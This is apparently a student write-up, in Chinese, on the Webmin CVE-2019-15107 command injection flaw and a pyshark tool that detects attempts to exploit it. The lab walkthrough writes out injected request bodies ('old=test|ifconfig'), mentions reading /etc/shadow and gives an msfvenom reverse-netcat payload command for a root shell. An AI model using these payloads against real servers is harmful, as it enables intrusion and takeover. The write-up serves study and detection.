## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-GOZN-DETECT-CVE-2019-15107-BY-PYSHARK
# detect-CVE-2019-15107-by-pyshark
I. CVE-2019-15107 概述 Webmin 是一个基于 Web 的 Unix 系统管理界面。使用任何 Web 浏览器,我们可以设置用户帐户、Apache、DNS、文件共享等。 2019 年 8 月 10 日,土耳其网络安全研究员 Özkan Mustafa Akkuş 在 DefCon 上公开了此零日漏洞,同时发布了一个 Metasploit 模块以自动化利用该漏洞。由于 password_change.cgi 文件的密码重置功能中存在代码执行漏洞,允许第三方在无需输入验证的情况下执行恶意代码。 II. 受影响版本 该漏洞影响 Webmin 1.882 到 1.921 版本。为防止此漏洞,使用 Webmin 的用户应更新至最新版本 Webmin 1.93。 III. 漏洞分析 在 Webmin 中,需要启用“允许更改用户密码”功能才能利用此漏洞。这是唯一条件,但许多 Webmin 管理员会启用此功能。它允许用户使用旧密码设置新密码。在 Webmin 应用程序源代码中,有几个值得注意的“.cgi”文件。其中之一是 password_change.cgi。 
此文件中的参数能够工作的唯一要求是配置文件“miniserv.conf”中的“passwd_mode”值设置为“2”。

此时,我们将利用“|”在旧密码验证过程中读取 /etc/shadow 文件。例如正常的密码更改命令: 
如果我们像下图所示在密码更改命令中插入一个简单的命令如“ifconfig”,那么“ifconfig”命令就会被执行并显示结果。 
IV. 部署模型
* Ubuntu 主机(受害者)安装 Webmin 1.920 版,IP 地址:192.168.109.128 
* Kali 主机(攻击者)IP 地址:192.168.109.131 
* 由于该 CVE 基于 Webmin 在旧密码过期时重置密码的功能执行,因此受害者必须将 Webmin 设置为“提示密码已过期的用户输入新密码”模式。 
V. 漏洞利用 CVE
* 首先,攻击者机器使用 Burp Suite 捕获从链接 192.168.109.128:10000/password_change.cgi(受害者 IP)向 Webmin 发送的更改密码请求。 
* 然后将此请求发送到 Burp Suite 的 Repeater 选项卡进行测试。 
* 攻击者修改捕获到的请求包中的一些信息。因为要更改密码,HTTP 方法必须是 POST 而不是最初的 GET。 
* 然后攻击者发送一个尝试使用旧密码更改密码的请求到受害者 Webmin 服务器: “user=test&pam=&old=test&new1=test2&new2=test2” 
* 发送请求后,会收到旧密码不匹配(The current password is incorrect)的提示,因此关键在于“old”参数。
* 接着尝试在 old 参数后插入一个基本命令如 ifconfig,这样当服务器检查旧密码时,就会同时执行插入的命令。例如: “user=test&pam=&old=test|ifconfig&new1=test2&new2=test2” 
* 同样,服务器检查旧密码时仍然是错误的,但检查之后,“ifconfig”命令已执行并显示结果。
* 然后,为了获取 root 权限,我们将使用 Metasploit 框架创建有效载荷发送到受害者的 Webmin 服务器以接收 shell 会话。 “msfvenom -p cmd/unix/reverse_netcat lhost= lport=” 
* 接下来,复制有效载荷并插入到 Burp Suite 的请求中。 
* 发送包含有效载荷的请求到 Webmin 服务器后,受害者机器被反向 shell 攻击。攻击者机器接收到受害者机器(IP:192.168.109.128 端口 37218)的 shell 会话。 
* 这样,我们就通过此 CVE 漏洞获取了 root 权限。 
VI. 确定攻击特征
* 使用 Wireshark 捕获网络层的数据包。 
* 由于利用此 CVE 时,攻击者必须通过路径 /password_change.cgi 使用 HTTP 的 POST 方法发送含有恶意有效载荷的请求,因此我们需要分析 Wireshark 捕获的 HTTP 数据包。 
* 可以看到,在 Webmin 服务器检查要更改的旧密码的过程中,插入了“ifconfig”命令。  
* 因此,我们确定此 CVE 的特征是通过路径 /password_change.cgi 进行密码更改时传入的参数: “user=test&pam=&old=test | <攻击者想要执行的命令> &new1=test2&new2=test2” VII. 构建 CVE-2019-15107 攻击检测工具
* 根据以上分析,攻击者要利用此 CVE 必须将命令插入到 old(“旧密码”)参数中才能发动攻击。 
* 要检测是否有人在尝试基于此漏洞插入命令,我们需要使用“pyshark”工具捕获并分析他们发送的 HTTP 数据包。 
* 捕获到的 HTTP 数据包中的数据以十六进制形式返回。根据“old=”和“|”参数,我们可以判断是否有人在尝试利用此 CVE。checkPayload 函数用于检查 HTTP 数据包是否存在问题。 
* 接下来,在确定有问题的 HTTP 数据包后,getCommand 函数将打印攻击者正在执行的命令。 
* 捕获和分析数据包的过程也会记录为 .csv 文件。 
VIII. 程序演示
* 当攻击者发起攻击时,程序会实时报警。 
* 程序停止时,会将程序运行期间捕获的所有流量记录到一个 .csv 文件中(HTTP 有效载荷以十六进制形式)。 
* 程序还会记录危险警报日志。 
IX. 结论 通过在课堂上的学习和实践,我能够部分了解恶意代码的分析过程。在实施漏洞利用和构建 CVE-2019-15107 检测程序的过程中,我将所学知识应用于通过特征分析检测漏洞,从而提高了分析、检测和处理信息以及网络安全监控的能力。